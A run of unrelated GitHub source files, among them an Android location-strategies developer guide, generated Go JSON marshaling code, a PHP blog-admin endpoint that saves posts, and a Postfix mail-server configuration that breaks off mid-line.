fmt_output(&output) } else { String::new() }, ) } } Ok(output) } }
{ "pile_set_name": "Github" }
--- layout: post title: "added \"Scalable Video Coding (SVC) Extension for WebRTC\"" date: 2019-11-01 tags: [ webrtc-svc ] --- added "[Scalable Video Coding (SVC) Extension for WebRTC](/spec/webrtc-svc)"
{ "pile_set_name": "Github" }
#ifndef _RTL8370_ASICDRV_PORTISOLATION_H_ #define _RTL8370_ASICDRV_PORTISOLATION_H_ #include "rtl8370_asicdrv.h" extern ret_t rtl8370_setAsicPortIsolationPermittedPortmask(uint32 port, uint32 permitPortmask); extern ret_t rtl8370_getAsicPortIsolationPermittedPortmask(uint32 port, uint32 *permitPortmask); extern ret_t rtl8370_setAsicPortIsolationEfid(uint32 port, uint32 efid); extern ret_t rtl8370_getAsicPortIsolationEfid(uint32 port, uint32 *efid); #endif /*_RTL8370_ASICDRV_PORTISOLATION_H_*/
{ "pile_set_name": "Github" }
page.title=Location Strategies excludeFromSuggestions=true @jd:body <div id="tb-wrapper"> <div id="tb"> <h2>In this document</h2> <ol> <li><a href="#Challenges">Challenges in Determining User Location</a></li> <li><a href="#Updates">Requesting Location Updates</a> <ol> <li><a href="#Permission">Requesting User Permissions</a></li> </ol> </li> <li><a href="#BestPerformance">Defining a Model for the Best Performance</a> <ol> <li><a href="#Flow">Flow for obtaining user location</a></li> <li><a href="#StartListening">Deciding when to start listening for updates</a></li> <li><a href="#FastFix">Getting a fast fix with the last known location</a></li> <li><a href="#StopListening">Deciding when to stop listening for updates</a></li> <li><a href="#BestEstimate">Maintaining a current best estimate</a></li> <li><a href="#Adjusting">Adjusting the model to save battery and data exchange</a></li> </ol> </li> <li><a href="#MockData">Providing Mock Location Data</a></li> </ol> <h2>Key classes</h2> <ol> <li>{@link android.location.LocationManager}</li> <li>{@link android.location.LocationListener}</li> </ol> </div> </div> <div class="note"> <p> <strong>Note:</strong> The strategies described in this guide apply to the platform location API in {@link android.location}. The Google Location Services API, part of Google Play Services, provides a more powerful, high-level framework that automatically handles location providers, user movement, and location accuracy. It also handles location update scheduling based on power consumption parameters you provide. In most cases, you'll get better battery performance, as well as more appropriate accuracy, by using the Location Services API. </p> <p> To learn more about the Location Services API, see <a href="{@docRoot}google/play-services/location.html">Google Location Services for Android</a>. </p> </div> <p>Knowing where the user is allows your application to be smarter and deliver better information to the user. When developing a location-aware application for Android, you can utilize GPS and Android's Network Location Provider to acquire the user location. Although GPS is most accurate, it only works outdoors, it quickly consumes battery power, and doesn't return the location as quickly as users want. Android's Network Location Provider determines user location using cell tower and Wi-Fi signals, providing location information in a way that works indoors and outdoors, responds faster, and uses less battery power. To obtain the user location in your application, you can use both GPS and the Network Location Provider, or just one.</p> <h2 id="Challenges">Challenges in Determining User Location</h2> <p>Obtaining user location from a mobile device can be complicated. There are several reasons why a location reading (regardless of the source) can contain errors and be inaccurate. Some sources of error in the user location include:</p> <ul> <li><b>Multitude of location sources</b> <p>GPS, Cell-ID, and Wi-Fi can each provide a clue to users location. Determining which to use and trust is a matter of trade-offs in accuracy, speed, and battery-efficiency.</p> </li> <li><b>User movement</b> <p>Because the user location changes, you must account for movement by re-estimating user location every so often.</p> </li> <li><b>Varying accuracy</b> <p>Location estimates coming from each location source are not consistent in their accuracy. A location obtained 10 seconds ago from one source might be more accurate than the newest location from another or same source.</p> </li> </ul> <p>These problems can make it difficult to obtain a reliable user location reading. This document provides information to help you meet these challenges to obtain a reliable location reading. It also provides ideas that you can use in your application to provide the user with an accurate and responsive geo-location experience.</p> <h2 id="Updates">Requesting Location Updates</h2> <p>Before addressing some of the location errors described above, here is an introduction to how you can obtain user location on Android.</p> <p>Getting user location in Android works by means of callback. You indicate that you'd like to receive location updates from the {@link android.location.LocationManager} ("Location Manager") by calling {@link android.location.LocationManager#requestLocationUpdates requestLocationUpdates()}, passing it a {@link android.location.LocationListener}. Your {@link android.location.LocationListener} must implement several callback methods that the Location Manager calls when the user location changes or when the status of the service changes.</p> <p>For example, the following code shows how to define a {@link android.location.LocationListener} and request location updates: </p> <pre> // Acquire a reference to the system Location Manager LocationManager locationManager = (LocationManager) this.getSystemService(Context.LOCATION_SERVICE); // Define a listener that responds to location updates LocationListener locationListener = new LocationListener() { public void onLocationChanged(Location location) { // Called when a new location is found by the network location provider. makeUseOfNewLocation(location); } public void onStatusChanged(String provider, int status, Bundle extras) {} public void onProviderEnabled(String provider) {} public void onProviderDisabled(String provider) {} }; // Register the listener with the Location Manager to receive location updates locationManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER, 0, 0, locationListener); </pre> <p>The first parameter in {@link android.location.LocationManager#requestLocationUpdates requestLocationUpdates()} is the type of location provider to use (in this case, the Network Location Provider for cell tower and Wi-Fi based location). You can control the frequency at which your listener receives updates with the second and third parameter&mdash;the second is the minimum time interval between notifications and the third is the minimum change in distance between notifications&mdash;setting both to zero requests location notifications as frequently as possible. The last parameter is your {@link android.location.LocationListener}, which receives callbacks for location updates.</p> <p>To request location updates from the GPS provider, substitute <code>GPS_PROVIDER</code> for <code>NETWORK_PROVIDER</code>. You can also request location updates from both the GPS and the Network Location Provider by calling {@link android.location.LocationManager#requestLocationUpdates requestLocationUpdates()} twice&mdash;once for <code>NETWORK_PROVIDER</code> and once for <code>GPS_PROVIDER</code>.</p> <h3 id="Permission">Requesting User Permissions</h3> <p>In order to receive location updates from <code>NETWORK_PROVIDER</code> or <code>GPS_PROVIDER</code>, you must request user permission by declaring either the {@code ACCESS_COARSE_LOCATION} or {@code ACCESS_FINE_LOCATION} permission, respectively, in your Android manifest file. For example:</p> <pre> &lt;manifest ... &gt; &lt;uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /&gt; ... &lt;/manifest&gt; </pre> <p>Without these permissions, your application will fail at runtime when requesting location updates.</p> <p class="note"><strong>Note:</strong> If you are using both <code>NETWORK_PROVIDER</code> and <code>GPS_PROVIDER</code>, then you need to request only the {@code ACCESS_FINE_LOCATION} permission, because it includes permission for both providers. (Permission for {@code ACCESS_COARSE_LOCATION} includes permission only for <code>NETWORK_PROVIDER</code>.)</p> <h2 id="BestPerformance">Defining a Model for the Best Performance</h2> <p>Location-based applications are now commonplace, but due to the less than optimal accuracy, user movement, the multitude of methods to obtain the location, and the desire to conserve battery, getting user location is complicated. To overcome the obstacles of obtaining a good user location while preserving battery power, you must define a consistent model that specifies how your application obtains the user location. This model includes when you start and stop listening for updates and when to use cached location data.</p> <h3 id="Flow">Flow for obtaining user location</h3> <p>Here's the typical flow of procedures for obtaining the user location:</p> <ol> <li>Start application.</li> <li>Sometime later, start listening for updates from desired location providers.</li> <li>Maintain a "current best estimate" of location by filtering out new, but less accurate fixes.</li> <li>Stop listening for location updates.</li> <li>Take advantage of the last best location estimate.</li> </ol> <p>Figure 1 demonstrates this model in a timeline that visualizes the period in which an application is listening for location updates and the events that occur during that time.</p> <img src="{@docRoot}images/location/getting-location.png" alt="" /> <p class="img-caption"><strong>Figure 1.</strong> A timeline representing the window in which an application listens for location updates.</p> <p>This model of a window&mdash;during which location updates are received&mdash;frames many of the decisions you need to make when adding location-based services to your application.</p> <h3 id="StartListening">Deciding when to start listening for updates</h3> <p>You might want to start listening for location updates as soon as your application starts, or only after users activate a certain feature. Be aware that long windows of listening for location fixes can consume a lot of battery power, but short periods might not allow for sufficient accuracy.</p> <p>As demonstrated above, you can begin listening for updates by calling {@link android.location.LocationManager#requestLocationUpdates requestLocationUpdates()}:</p> <pre> String locationProvider = LocationManager.NETWORK_PROVIDER; // Or, use GPS location data: // String locationProvider = LocationManager.GPS_PROVIDER; locationManager.requestLocationUpdates(locationProvider, 0, 0, locationListener); </pre> <h3 id="FastFix">Getting a fast fix with the last known location</h3> <p>The time it takes for your location listener to receive the first location fix is often too long for users wait. Until a more accurate location is provided to your location listener, you should utilize a cached location by calling {@link android.location.LocationManager#getLastKnownLocation}:</p> <pre> String locationProvider = LocationManager.NETWORK_PROVIDER; // Or use LocationManager.GPS_PROVIDER Location lastKnownLocation = locationManager.getLastKnownLocation(locationProvider); </pre> <h3 id="StopListening">Deciding when to stop listening for updates</h3> <p>The logic of deciding when new fixes are no longer necessary might range from very simple to very complex depending on your application. A short gap between when the location is acquired and when the location is used, improves the accuracy of the estimate. Always beware that listening for a long time consumes a lot of battery power, so as soon as you have the information you need, you should stop listening for updates by calling {@link android.location.LocationManager#removeUpdates}:</p> <pre> // Remove the listener you previously added locationManager.removeUpdates(locationListener); </pre> <h3 id="BestEstimate">Maintaining a current best estimate</h3> <p>You might expect that the most recent location fix is the most accurate. However, because the accuracy of a location fix varies, the most recent fix is not always the best. You should include logic for choosing location fixes based on several criteria. The criteria also varies depending on the use-cases of the application and field testing.</p> <p>Here are a few steps you can take to validate the accuracy of a location fix:</p> <ul> <li>Check if the location retrieved is significantly newer than the previous estimate.</li> <li>Check if the accuracy claimed by the location is better or worse than the previous estimate.</li> <li>Check which provider the new location is from and determine if you trust it more.</li> </ul> <p>An elaborate example of this logic can look something like this:</p> <pre> private static final int TWO_MINUTES = 1000 * 60 * 2; /** Determines whether one Location reading is better than the current Location fix * @param location The new Location that you want to evaluate * @param currentBestLocation The current Location fix, to which you want to compare the new one */ protected boolean isBetterLocation(Location location, Location currentBestLocation) { if (currentBestLocation == null) { // A new location is always better than no location return true; } // Check whether the new location fix is newer or older long timeDelta = location.getTime() - currentBestLocation.getTime(); boolean isSignificantlyNewer = timeDelta &gt; TWO_MINUTES; boolean isSignificantlyOlder = timeDelta &lt; -TWO_MINUTES; boolean isNewer = timeDelta > 0; // If it's been more than two minutes since the current location, use the new location // because the user has likely moved if (isSignificantlyNewer) { return true; // If the new location is more than two minutes older, it must be worse } else if (isSignificantlyOlder) { return false; } // Check whether the new location fix is more or less accurate int accuracyDelta = (int) (location.getAccuracy() - currentBestLocation.getAccuracy()); boolean isLessAccurate = accuracyDelta &gt; 0; boolean isMoreAccurate = accuracyDelta &lt; 0; boolean isSignificantlyLessAccurate = accuracyDelta &gt; 200; // Check if the old and new location are from the same provider boolean isFromSameProvider = isSameProvider(location.getProvider(), currentBestLocation.getProvider()); // Determine location quality using a combination of timeliness and accuracy if (isMoreAccurate) { return true; } else if (isNewer &amp;&amp; !isLessAccurate) { return true; } else if (isNewer &amp;&amp; !isSignificantlyLessAccurate &amp;&amp; isFromSameProvider) { return true; } return false; } /** Checks whether two providers are the same */ private boolean isSameProvider(String provider1, String provider2) { if (provider1 == null) { return provider2 == null; } return provider1.equals(provider2); } </pre> <h3 id="Adjusting">Adjusting the model to save battery and data exchange</h3> <p>As you test your application, you might find that your model for providing good location and good performance needs some adjustment. Here are some things you might change to find a good balance between the two.</p> <h4>Reduce the size of the window</h4> <p>A smaller window in which you listen for location updates means less interaction with GPS and network location services, thus, preserving battery life. But it also allows for fewer locations from which to choose a best estimate.</p> <h4>Set the location providers to return updates less frequently</h4> <p>Reducing the rate at which new updates appear during the window can also improve battery efficiency, but at the cost of accuracy. The value of the trade-off depends on how your application is used. You can reduce the rate of updates by increasing the parameters in {@link android.location.LocationManager#requestLocationUpdates requestLocationUpdates()} that specify the interval time and minimum distance change.</p> <h4>Restrict a set of providers</h4> <p>Depending on the environment where your application is used or the desired level of accuracy, you might choose to use only the Network Location Provider or only GPS, instead of both. Interacting with only one of the services reduces battery usage at a potential cost of accuracy.</p> <h2>Common application cases</h2> <p>There are many reasons you might want to obtain the user location in your application. Below are a couple scenarios in which you can use the user location to enrich your application. Each scenario also describes good practices for when you should start and stop listening for the location, in order to get a good reading and help preserve battery life.</p> <h3>Tagging user-created content with a location</h3> <p>You might be creating an application where user-created content is tagged with a location. Think of users sharing their local experiences, posting a review for a restaurant, or recording some content that can be augmented with their current location. A model of how this interaction might happen, with respect to the location services, is visualized in figure 2.</p> <img src="{@docRoot}images/location/content-tagging.png" alt="" /> <p class="img-caption"><strong>Figure 2.</strong> A timeline representing the window in which the user location is obtained and listening stops when the user consumes the current location.</p> <p>This lines up with the previous model of how user location is obtained in code (figure 1). For best location accuracy, you might choose to start listening for location updates when users begin creating the content or even when the application starts, then stop listening for updates when content is ready to be posted or recorded. You might need to consider how long a typical task of creating the content takes and judge if this duration allows for efficient collection of a location estimate.</p> <h3>Helping the user decide on where to go</h3> <p>You might be creating an application that attempts to provide users with a set of options about where to go. For example, you're looking to provide a list of nearby restaurants, stores, and entertainment and the order of recommendations changes depending on the user location.</p> <p>To accommodate such a flow, you might choose to:</p> <ul> <li>Rearrange recommendations when a new best estimate is obtained</li> <li>Stop listening for updates if the order of recommendations has stabilized</li> </ul> <p>This kind of model is visualized in figure 3.</p> <img src="{@docRoot}images/location/where-to-go.png" alt="" /> <p class="img-caption"><strong>Figure 3.</strong> A timeline representing the window in which a dynamic set of data is updated each time the user location updates.</p> <h2 id="MockData">Providing Mock Location Data</h2> <p>As you develop your application, you'll certainly need to test how well your model for obtaining user location works. This is most easily done using a real Android-powered device. If, however, you don't have a device, you can still test your location-based features by mocking location data in the Android emulator. There are three different ways to send your application mock location data: using Eclipse, DDMS, or the "geo" command in the emulator console.</p> <p class="note"><strong>Note:</strong> Providing mock location data is injected as GPS location data, so you must request location updates from <code>GPS_PROVIDER</code> in order for mock location data to work.</p> <h3 id="MockEclipse">Using Eclipse</h3> <p>Select <b>Window</b> &gt; <b>Show View</b> &gt; <b>Other</b> &gt; <b>Emulator Control</b>.</p> <p>In the Emulator Control panel, enter GPS coordinates under Location Controls as individual lat/long coordinates, with a GPX file for route playback, or a KML file for multiple place marks. (Be sure that you have a device selected in the Devices panel&mdash;available from <b>Window</b> &gt; <b>Show View</b> &gt; <b>Other</b> &gt; <b>Devices</b>.)</p> <h3 id="MockDdms">Using DDMS</h3> <p>With the DDMS tool, you can simulate location data a few different ways:</p> <ul> <li>Manually send individual longitude/latitude coordinates to the device.</li> <li>Use a GPX file describing a route for playback to the device.</li> <li>Use a KML file describing individual place marks for sequenced playback to the device.</li> </ul> <p>For more information on using DDMS to spoof location data, see <a href="{@docRoot}tools/debugging/ddms.html">Using DDMS</a>. <h3 id="MockGeo">Using the "geo" command in the emulator console</h3> <p>To send mock location data from the command line:</p> <ol> <li>Launch your application in the Android emulator and open a terminal/console in your SDK's <code>/tools</code> directory.</li> <li>Connect to the emulator console: <pre>telnet localhost <em>&lt;console-port&gt;</em></pre></li> <li>Send the location data:</p> <ul><li><code>geo fix</code> to send a fixed geo-location. <p>This command accepts a longitude and latitude in decimal degrees, and an optional altitude in meters. For example:</p> <pre>geo fix -121.45356 46.51119 4392</pre> </li> <li><code>geo nmea</code> to send an NMEA 0183 sentence. <p>This command accepts a single NMEA sentence of type '$GPGGA' (fix data) or '$GPRMC' (transit data). For example:</p> <pre>geo nmea $GPRMC,081836,A,3751.65,S,14507.36,E,000.0,360.0,130998,011.3,E*62</pre> </li> </ul> </li> </ol> <p>For information about how to connect to the emulator console, see <a href="{@docRoot}tools/devices/emulator.html#console">Using the Emulator Console</a>.</p>
{ "pile_set_name": "Github" }
{ "images" : [ { "idiom" : "universal", "filename" : "anno_icon_text_selected.png", "scale" : "1x" }, { "idiom" : "universal", "filename" : "[email protected]", "scale" : "2x" }, { "idiom" : "universal", "filename" : "[email protected]", "scale" : "3x" } ], "info" : { "version" : 1, "author" : "xcode" } }
{ "pile_set_name": "Github" }
// Code generated by github.com/fjl/gencodec. DO NOT EDIT. package tests import ( "encoding/json" "errors" "math/big" "github.com/wanchain/go-wanchain/common" "github.com/wanchain/go-wanchain/common/math" ) var _ = (*stEnvMarshaling)(nil) func (s stEnv) MarshalJSON() ([]byte, error) { type stEnv struct { Coinbase common.UnprefixedAddress `json:"currentCoinbase" gencodec:"required"` Difficulty *math.HexOrDecimal256 `json:"currentDifficulty" gencodec:"required"` GasLimit *math.HexOrDecimal256 `json:"currentGasLimit" gencodec:"required"` Number math.HexOrDecimal64 `json:"currentNumber" gencodec:"required"` Timestamp math.HexOrDecimal64 `json:"currentTimestamp" gencodec:"required"` } var enc stEnv enc.Coinbase = common.UnprefixedAddress(s.Coinbase) enc.Difficulty = (*math.HexOrDecimal256)(s.Difficulty) enc.GasLimit = (*math.HexOrDecimal256)(s.GasLimit) enc.Number = math.HexOrDecimal64(s.Number) enc.Timestamp = math.HexOrDecimal64(s.Timestamp) return json.Marshal(&enc) } func (s *stEnv) UnmarshalJSON(input []byte) error { type stEnv struct { Coinbase *common.UnprefixedAddress `json:"currentCoinbase" gencodec:"required"` Difficulty *math.HexOrDecimal256 `json:"currentDifficulty" gencodec:"required"` GasLimit *math.HexOrDecimal256 `json:"currentGasLimit" gencodec:"required"` Number *math.HexOrDecimal64 `json:"currentNumber" gencodec:"required"` Timestamp *math.HexOrDecimal64 `json:"currentTimestamp" gencodec:"required"` } var dec stEnv if err := json.Unmarshal(input, &dec); err != nil { return err } if dec.Coinbase == nil { return errors.New("missing required field 'currentCoinbase' for stEnv") } s.Coinbase = common.Address(*dec.Coinbase) if dec.Difficulty == nil { return errors.New("missing required field 'currentDifficulty' for stEnv") } s.Difficulty = (*big.Int)(dec.Difficulty) if dec.GasLimit == nil { return errors.New("missing required field 'currentGasLimit' for stEnv") } s.GasLimit = (*big.Int)(dec.GasLimit) if dec.Number == nil { return errors.New("missing required field 'currentNumber' for stEnv") } s.Number = uint64(*dec.Number) if dec.Timestamp == nil { return errors.New("missing required field 'currentTimestamp' for stEnv") } s.Timestamp = uint64(*dec.Timestamp) return nil }
{ "pile_set_name": "Github" }
package com.webank.cmdb.util; import static java.lang.annotation.ElementType.FIELD; import static java.lang.annotation.RetentionPolicy.RUNTIME; import java.lang.annotation.Documented; import java.lang.annotation.Retention; import java.lang.annotation.Target; @Documented @Target(FIELD) @Retention(RUNTIME) public @interface DtoField { String domainField() default ""; boolean updatable() default true; }
{ "pile_set_name": "Github" }
package gueei.binding.app; import gueei.binding.AttributeBinder; import gueei.binding.Binder; import gueei.binding.Binder.InflateResult; import android.app.Dialog; import android.content.Context; import android.view.View; public class BindingWidget { public static Dialog createAndBindDialog(Context context, int layoutId, Object contentViewModel) { Dialog dialog = new Dialog(context); InflateResult result = Binder.inflateView(context, layoutId, null, false); dialog.setContentView(result.rootView); for(View v: result.processedViews){ AttributeBinder.getInstance().bindView(context, v, contentViewModel); } return dialog; } }
{ "pile_set_name": "Github" }
# name: #ifndef XXX; #define XXX; #endif # key: once # -- #ifndef ${1:_`(upcase (file-name-nondirectory (file-name-sans-extension (buffer-file-name))))`_H_} #define $1 $0 #endif /* $1 */
{ "pile_set_name": "Github" }
import React from 'react'; import { render } from 'react-dom'; import history from './history'; import { Router } from 'react-router'; import App from './App'; render(( <Router history={history}> <App/> </Router> ), document.getElementById("root"))
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="generator" content="Adobe RoboHelp 9" /> <title>VRM Reports</title> <link rel="StyleSheet" href="admin_guide_sample.css" type="text/css" /> <script type="text/javascript" language="JavaScript"> //<![CDATA[ function reDo() { if (innerWidth != origWidth || innerHeight != origHeight) location.reload(); } if ((parseInt(navigator.appVersion) == 4) && (navigator.appName == "Netscape")) { origWidth = innerWidth; origHeight = innerHeight; onresize = reDo; } onerror = null; //]]> </script> <style type="text/css"> <!-- div.WebHelpPopupMenu { position:absolute; left:0px; top:0px; z-index:4; visibility:hidden; } --> </style> <script type="text/javascript" language="javascript1.2" src="whmsg.js"></script> <script type="text/javascript" language="javascript" src="whver.js"></script> <script type="text/javascript" language="javascript1.2" src="whproxy.js"></script> <script type="text/javascript" language="javascript1.2" src="whutils.js"></script> <script type="text/javascript" language="javascript1.2" src="whlang.js"></script> <script type="text/javascript" language="javascript1.2" src="whtopic.js"></script> </head> <body><a name="bc-6"></a><a name="bc-5"></a><a name="bc-4"></a><a name="bc-3"></a><a name="bc-2"></a><a name="bc-1"></a><script type="text/javascript" language="javascript1.2">//<![CDATA[ <!-- if (window.gbWhTopic) { var strUrl = document.location.href; var bc = 0; var n = strUrl.toLowerCase().indexOf("bc-"); if(n != -1) { document.location.href = strUrl.substring(0, n); bc = strUrl.substring(n+3); } if (window.addTocInfo) { addTocInfo("Super Administrator\nReports\nVRM Reports"); addTocInfo("Content Management System Administrator\nReports\nVRM Reports"); addTocInfo("Content Management System Content Creator\nReports\nVRM Reports"); addTocInfo("Content Management System Moderator\nReports\nVRM Reports"); addTocInfo("Content Management System Publisher\nReports\nVRM Reports"); addTocInfo("Visitor Relation Management Administrator\nReports\nVRM Reports"); addTocInfo("Program Management Office\nReports\nVRM Reports"); addButton("show",BTN_TEXT,"Show","","","","",0,0,"","",""); } if (window.writeBtnStyle) writeBtnStyle(); if (window.writeIntopicBar) writeIntopicBar(1); if(bc == 6) { document.write("<p style=\"text-align:right\"> "); AddMasterBreadcrumbs("ogpl_admin_guide.htm", "", ">", "Home", "preface.htm"); document.write("<a href=\"program_management_office_overview.htm\">Program Management Office<\/a> > <a href=\"viewing_reports.htm#bc-6\">Reports<\/a> > VRM Reports<\/p>"); } else if(bc == 5) { document.write("<p style=\"text-align:right\"> "); AddMasterBreadcrumbs("ogpl_admin_guide.htm", "", ">", "Home", "preface.htm"); document.write("<a href=\"visitor_relation_management_administrator.htm\">Visitor Relation Management Administrator<\/a> > <a href=\"viewing_reports.htm#bc-5\">Reports<\/a> > VRM Reports<\/p>"); } else if(bc == 4) { document.write("<p style=\"text-align:right\"> "); AddMasterBreadcrumbs("ogpl_admin_guide.htm", "", ">", "Home", "preface.htm"); document.write("<a href=\"publisher.htm\">Content Management System Publisher<\/a> > <a href=\"viewing_reports.htm#bc-4\">Reports<\/a> > VRM Reports<\/p>"); } else if(bc == 3) { document.write("<p style=\"text-align:right\"> "); AddMasterBreadcrumbs("ogpl_admin_guide.htm", "", ">", "Home", "preface.htm"); document.write("<a href=\"content_management_system_moderator.htm\">Content Management System Moderator<\/a> > <a href=\"viewing_reports.htm#bc-3\">Reports<\/a> > VRM Reports<\/p>"); } else if(bc == 2) { document.write("<p style=\"text-align:right\"> "); AddMasterBreadcrumbs("ogpl_admin_guide.htm", "", ">", "Home", "preface.htm"); document.write("<a href=\"content_creator.htm\">Content Management System Content Creator<\/a> > <a href=\"viewing_reports.htm#bc-2\">Reports<\/a> > VRM Reports<\/p>"); } else if(bc == 1) { document.write("<p style=\"text-align:right\"> "); AddMasterBreadcrumbs("ogpl_admin_guide.htm", "", ">", "Home", "preface.htm"); document.write("<a href=\"cms_administrator.htm\">Content Management System Administrator<\/a> > <a href=\"viewing_reports.htm#bc-1\">Reports<\/a> > VRM Reports<\/p>"); } else{ document.write("<p style=\"text-align:right\"> "); AddMasterBreadcrumbs("ogpl_admin_guide.htm", "", ">", "Home", "preface.htm"); document.write("<a href=\"super_administrator.htm\">Super Administrator<\/a> > <a href=\"viewing_reports.htm\">Reports<\/a> > VRM Reports<\/p>"); } if (window.setRelStartPage) { setRelStartPage("ogpl_admin_guide.htm"); autoSync(1); sendSyncInfo(); sendAveInfoOut(); } } else if (window.gbIE4) document.location.reload(); //--> //]]></script> <h1>VRM Reports</h1> <p>VRM reports are tabular and graphical representations of various feedback-related metrics. These reports also enable you track the progress of feedback implementation, quantify the amount of feedback that came from the various sources on the OGPL Web site, examine the feedback assigned to each assignee, and analyze the delay in the implementation of the feedback process. </p> <p>You can view the following reports for the VRM workflow:</p> <ul type="disc"> <li>VRM Action Metrics</li> <li>VRM Source Metrics</li> <li>VRM Status Metrics</li> <li>VRM Category Metrics</li> <li>VRM Delay Analysis</li> <li>Assignee Wise VRM Listing</li> </ul> <script type="text/javascript" language="javascript1.2">//<![CDATA[ <!-- if (window.writeIntopicBar) writeIntopicBar(0); highlightSearch(); //--> //]]></script> </body> </html>
{ "pile_set_name": "Github" }
{ "component": true }
{ "pile_set_name": "Github" }
/* * Copyright (C) 2012 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.koushikdutta.async.http.spdy; import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; import java.util.List; /** Junk drawer of utility methods. */ final class Util { public static void checkOffsetAndCount(long arrayLength, long offset, long count) { if ((offset | count) < 0 || offset > arrayLength || arrayLength - offset < count) { throw new ArrayIndexOutOfBoundsException(); } } /** Returns an immutable copy of {@code list}. */ public static <T> List<T> immutableList(List<T> list) { return Collections.unmodifiableList(new ArrayList<T>(list)); } /** Returns an immutable list containing {@code elements}. */ public static <T> List<T> immutableList(T... elements) { return Collections.unmodifiableList(Arrays.asList(elements.clone())); } }
{ "pile_set_name": "Github" }
module.exports = [{ input : [[]], output : 0 }, { input : [[10, 9, 2, 5, 3, 7, 101, 18]], output : 4 }];
{ "pile_set_name": "Github" }
<? ini_set('html_errors', '0'); require '../_base.php'; gb::authenticate(); if ($_SERVER['REQUEST_METHOD'] !== 'POST') gb_admin::error_rsp('405 Method Not Allowed', '405 Method Not Allowed'); try { # parse input static $spec_fields = array( 'name' => '', 'version' => '(work)', 'commit' => 'bool(false)' ); static $state_fields = array( 'mimeType' => ':trim', 'title' => ':trim', 'slug' => ':trim', 'body' => '', 'tags' => '[]', 'categories' => '[]', 'published' => '@GBDateTime', 'author' => '@GBAuthor', 'commentsOpen' => 'bool', 'pingbackOpen' => 'bool', 'draft' => 'bool' ); $input = gb_input::process(array_merge($spec_fields, $state_fields)); # find post $created = false; if ($input['name'] !== null) { if (!($post = GBPost::findByName($input['name'], $input['version']))) gb_admin::error_rsp('Post '.r($input['name']).' not found'); } else { $post = new GBPost(); $created = true; } # set post state $modified_state = array(); foreach ($state_fields as $k => $discard) { $v = $input[$k]; if ($v !== null && $post->$k !== $v) { if ($k === 'body') { $post->setRawBody($v); $modified_state[$k] = $post->rawBody(); } else { $post->$k = $v; $v = $post->$k; if ($v instanceof GBDateTime || $v instanceof GBAuthor) $v = strval($v); $modified_state[$k] = $v; } } } # post-process checks before saving if ($modified_state) { $post->modified = new GBDateTime(); if (!$post->title && !$post->slug) { throw new UnexpectedValueException( 'Both title and slug can not both be empty. Please choose a title for this post.'); } if (!$post->slug) $post->slug = gb_cfilter::apply('sanitize-title', $post->title); elseif ($created && !$post->title) $post->title = ucfirst($post->slug); } # set newborn properties if ($created) { if (!$post->mimeType) { $post->mimeType = 'text/html'; gb::log('did force html'); } else { gb::log('mime type is %s', $post->mimeType); } if (!$post->published) $post->published = $post->modified; $post->name = $post->recommendedName(); } else { gb::log('already exists (OK)'); } # was the state actually modified? if ($modified_state) { gb::log('write %s', r($modified_state)); # write to work area gb_admin::write_content($post); } # if the post was created, reload it to find appropriate values if ($created) { $post = GBPost::findByName($post->name, 'work'); $modified_state = array(); foreach ($state_fields as $k => $discard) { if ($k === 'body') { $modified_state[$k] = $post->rawBody(); } else { $v = $post->$k; if ($v instanceof GBDateTime) $v = strval($v); $modified_state[$k] = $v; } } } # commit? if ($input['commit']) { git::add($post->name); git::commit(($created ? 'Created' : 'Updated').' post '.r($post->title), gb::$authorized, $post->name); } # build response entity $rsp = array( 'name' => $post->name, 'version' => $post->id, 'exists' => $post->exists(), 'isTracked' => $post->isTracked(), 'isDirty' => $post->isDirty(), 'state' => $modified_state ); # status $status = '200 OK'; if ($created) { $status = '201 Created'; } # send JSON response gb_admin::json_rsp($rsp, $status); gb::log('saved post %s', $post->name); } catch (Exception $e) { gb::log('failed to save post: %s', GBException::format($e, true, false, null, 0)); gb_admin::json_rsp($e->getMessage(), '400 Bad Request'); } ?>
{ "pile_set_name": "Github" }
# Global Postfix configuration file. This file lists only a subset # of all parameters. For the syntax, and for a complete parameter # list, see the postconf(5) manual page (command: "man 5 postconf"). # # For common configuration examples, see BASIC_CONFIGURATION_README # and STANDARD_CONFIGURATION_README. To find these documents, use # the command "postconf html_directory readme_directory", or go to # http://www.postfix.org/. # # For best results, change no more than 2-3 parameters at a time, # and test if Postfix still works after every change. queue_directory = /var/spool/postfix command_directory = /usr/sbin daemon_directory = /usr/libexec/postfix data_directory = /var/lib/postfix mail_owner = postfix inet_protocols = all mydestination = localhost, localhost.localdomain unknown_local_recipient_reject_code = 550 alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases debug_peer_level = 2 debugger_command = PATH=/bin:/usr/bin:/usr/local/bin:/usr/X11R6/bin ddd $daemon_directory/$process_name $process_id & sleep 5 sendmail_path = /usr/sbin/sendmail.postfix newaliases_path = /usr/bin/newaliases.postfix mailq_path = /usr/bin/mailq.postfix setgid_group = postdrop html_directory = no manpage_directory = /usr/share/man sample_directory = /usr/share/doc/postfix-2.10.1/samples readme_directory = /usr/share/doc/postfix-2.10.1/README_FILES myhostname = server.example.com mynetworks = 127.0.0.0/8 message_size_limit = 30720000 virtual_alias_domains = virtual_alias_maps = proxy:mysql:/etc/postfix/mysql-virtual_forwardings.cf, mysql:/etc/postfix/mysql-virtual_email2email.cf virtual_mailbox_domains = proxy:mysql:/etc/postfix/mysql-virtual_domains.cf virtual_mailbox_maps = proxy:mysql:/etc/postfix/mysql-virtual_mailboxes.cf virtual_mailbox_base = /home/vmail virtual_uid_maps = static:5000 virtual_gid_maps = static:5000 smtpd_sasl_type = dovecot smtpd_sasl_path = private/auth smtpd_sasl_auth_enable = yes broken_sasl_auth_clients = yes smtpd_sasl_authenticated_header = yes smtpd_recipient_restrictions = permit_mynetworks, 